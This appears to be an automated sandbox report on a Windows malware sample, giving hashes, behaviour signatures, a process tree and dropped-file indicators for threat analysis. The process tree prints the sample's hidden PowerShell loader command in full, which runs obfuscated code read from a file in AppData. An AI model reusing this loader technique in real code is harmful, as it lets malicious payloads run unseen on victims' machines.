Analysis

  • max time kernel
    93s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 02:35

General

  • Target

    f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe

  • Size

    400KB

  • MD5

    9428d54a4aa6eb66abdca820a8f47d12

  • SHA1

    abd2a8b44ee4d5fd4cdb947600f340864dcf254f

  • SHA256

    f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd

  • SHA512

    14024233434003249a918871e81f10048f13fa2079ce5c0bb78893bfef6621d8daa64031539b2a6b4627019935ea43a8f3de9e56937b5ec8a50af08258653c80

  • SSDEEP

    12288:OGnKCJuXGUHTmuGwZyYMggzHm64P5WylOHVqZ:OGjutj/mFZylO1qZ

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
    "C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3460
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 2700
        3⤵
        • Program crash
        PID:3928
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3460 -ip 3460
    1⤵
      PID:3680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbqnsgcl.4bq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl

      Filesize

      71KB

      MD5

      fc2223e92e3b7eb6b306e7489bc9ea76

      SHA1

      a886646121c2d0882b0f69cff28277fea465a431

      SHA256

      86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af

      SHA512

      98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e

    • memory/3460-13-0x0000000073560000-0x0000000073D10000-memory.dmp

      Filesize

      7.7MB

    • memory/3460-28-0x0000000006A10000-0x0000000006A5C000-memory.dmp

      Filesize

      304KB

    • memory/3460-9-0x000000007356E000-0x000000007356F000-memory.dmp

      Filesize

      4KB

    • memory/3460-14-0x0000000006140000-0x0000000006162000-memory.dmp

      Filesize

      136KB

    • memory/3460-15-0x00000000062E0000-0x0000000006346000-memory.dmp

      Filesize

      408KB

    • memory/3460-16-0x0000000006350000-0x00000000063B6000-memory.dmp

      Filesize

      408KB

    • memory/3460-11-0x0000000073560000-0x0000000073D10000-memory.dmp

      Filesize

      7.7MB

    • memory/3460-26-0x00000000063C0000-0x0000000006714000-memory.dmp

      Filesize

      3.3MB

    • memory/3460-27-0x00000000069E0000-0x00000000069FE000-memory.dmp

      Filesize

      120KB

    • memory/3460-12-0x0000000005B10000-0x0000000006138000-memory.dmp

      Filesize

      6.2MB

    • memory/3460-29-0x0000000006F40000-0x0000000006FD6000-memory.dmp

      Filesize

      600KB

    • memory/3460-30-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

      Filesize

      104KB

    • memory/3460-31-0x00000000079D0000-0x00000000079F2000-memory.dmp

      Filesize

      136KB

    • memory/3460-32-0x0000000007FB0000-0x0000000008554000-memory.dmp

      Filesize

      5.6MB

    • memory/3460-10-0x0000000003410000-0x0000000003446000-memory.dmp

      Filesize

      216KB

    • memory/3460-34-0x0000000008BE0000-0x000000000925A000-memory.dmp

      Filesize

      6.5MB

    • memory/3460-36-0x0000000073560000-0x0000000073D10000-memory.dmp

      Filesize

      7.7MB